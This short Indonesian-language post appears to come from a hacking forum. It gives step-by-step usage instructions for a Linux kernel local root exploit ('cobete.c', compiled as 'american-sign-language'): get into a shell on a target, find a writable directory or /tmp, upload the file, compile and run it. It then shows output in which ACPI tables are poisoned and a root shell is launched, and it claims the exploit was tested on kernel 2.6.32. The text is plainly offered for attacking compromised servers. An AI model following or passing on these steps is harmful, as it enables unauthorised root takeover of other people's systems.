Cara Pakai. Save Script Nya Ke Notepad. Save Dengan nama file : cobete.c extension: All Files Masuk Ke Shell Trus Cari Directory Yang Writable (777) Kalo Ga Ada Ke /tmp/ Upload Script Na. Trus Compile & Jalanin. kaya gini : gcc cobete.c -o american-sign-language ./american-sign-language [/url] OUTPUT : * [+] resolving required symbols... * [+] checking for world-writable custom_method... * [+] checking for an ACPI LID device... * [+] poisoning ACPI tables via custom_method... * [+] triggering ACPI payload via LID device... * [+] triggering exploit via futimesat... * [+] launching root shell! * # id * uid=0(root) gid=0(root) groups=0(root) TESTED ON LINUX KERNEL 2.6.32 | |
